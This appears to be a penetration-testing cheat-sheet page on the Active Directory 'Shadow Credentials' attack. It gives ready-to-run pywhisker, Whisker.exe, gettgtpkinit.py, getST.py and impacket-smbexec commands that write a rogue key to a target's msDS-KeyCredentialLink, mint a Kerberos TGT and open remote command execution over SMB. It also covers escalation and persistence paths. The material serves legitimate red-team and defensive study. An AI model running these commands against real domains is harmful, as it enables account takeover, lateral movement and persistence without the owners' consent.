Shadow Credentials (msDS-KeyCredentialLink)¶
Register a new public key on a user or computer object's msDS-KeyCredentialLink, then use the private key (.pfx) to PKINIT to mint a TGT without knowing the account’s secret.
Requires¶
- Authentication to LDAP with an account which has write access on the target account's
msDS-KeyCredentialLinkproperty.- Objects which typically have write access over a target object: the object itself, domain Admins, accounts with delegated rights, service accounts (Microsoft Entra Connect, etc.)
- DCs/Schema supporting Key Trust (modern AD; commonly 2016+).
Tools¶
| Tool | Platform | Note |
|---|---|---|
pywhisker |
Linux | Add/list/remove msDS-KeyCredentialLink; writes a key pair and usually saves a PFX. |
Whisker.exe |
Windows | Same operations as above, C# implementation. |
PKINITtools (gettgtpkinit.py) |
Linux | Obtain a TGT from a PFX via PKINIT. |
Add Shadow Credentials¶
Linux (pywhisker)¶
Add key credential to target user/computer's msDS-KeyCredentialLink
pywhisker -d <domain> -u <user> -p '<password>' --dc-ip <dc_ip> --target <target_user> --add
Output: .pfx file containing the private key.
List existing key credentials
pywhisker -d <domain> -u <user> -p '<password>' --dc-ip <dc_ip> --target <target_user> --list
Windows (Whisker)¶
Add key credential to target user/computer's msDS-KeyCredentialLink
Whisker.exe add /domain:<domain> /user:<user> /password:<password> /dc:<dc_ip> /target:<target_user>
Output: .pfx file containing the private key.
List existing key credentials
Whisker.exe list /domain:<domain> /user:<user> /password:<password> /dc:<dc_ip> /target:<target_user>
Get a TGT via PKINIT (from the generated PFX)¶
python3 gettgtpkinit.py -cert-pfx <target_user>.pfx -pfx-pass '<pfx_password>' <domain>/<target_user> <target_user>.ccache
Output credential cache file
.ccachecontaining TGT.
Use the Ticket¶
Use the .ccache to request service tickets and execute with Kerberos.
Example: Gain CLI access via SMB¶
Get service ticket to CIFS
KRB5CCNAME=<target_user>.ccache getST.py -spn cifs/<target_fqdn> -k -no-pass <domain>/<target_user> -dc-ip <dc_ip>
Authenticate to SMB using the .ccache file
KRB5CCNAME=<target_user>.ccache impacket-smbexec -k -no-pass <domain>/<target_user>@<target_fqdn>
See SPN/tool mapping: Remote Command Execution Tools
Cleanup¶
Remove your KeyCredential on linux
pywhisker -d <domain> -u <user> -p '<password>' --dc-ip <dc_ip> --target <target_user> --remove
Remove your KeyCredential on Windows
`Whisker.exe remove /domain:<domain> /user:<user> /password:<password> /dc:<dc_ip> /target:<target_user>`
Troubleshooting¶
- PKINIT fails: check time sync, that the PFX password is correct, and that DCs support PKINIT/Key Trust.
- LDAP errors: use LDAPS when signing/channel binding is enforced; ensure the modifying principal truly has write rights on the target object.
- No PFX saved: re-run the add operation with an explicit output option (tool-specific) or export from the tool’s output directory.
Attack Paths¶
- Privilege escalation to the target account (user/computer) by minting a TGT.
- Persistence by keeping your key registered on the object until removed.
See Also¶
- Execution after TGT: Remote Command Execution Tools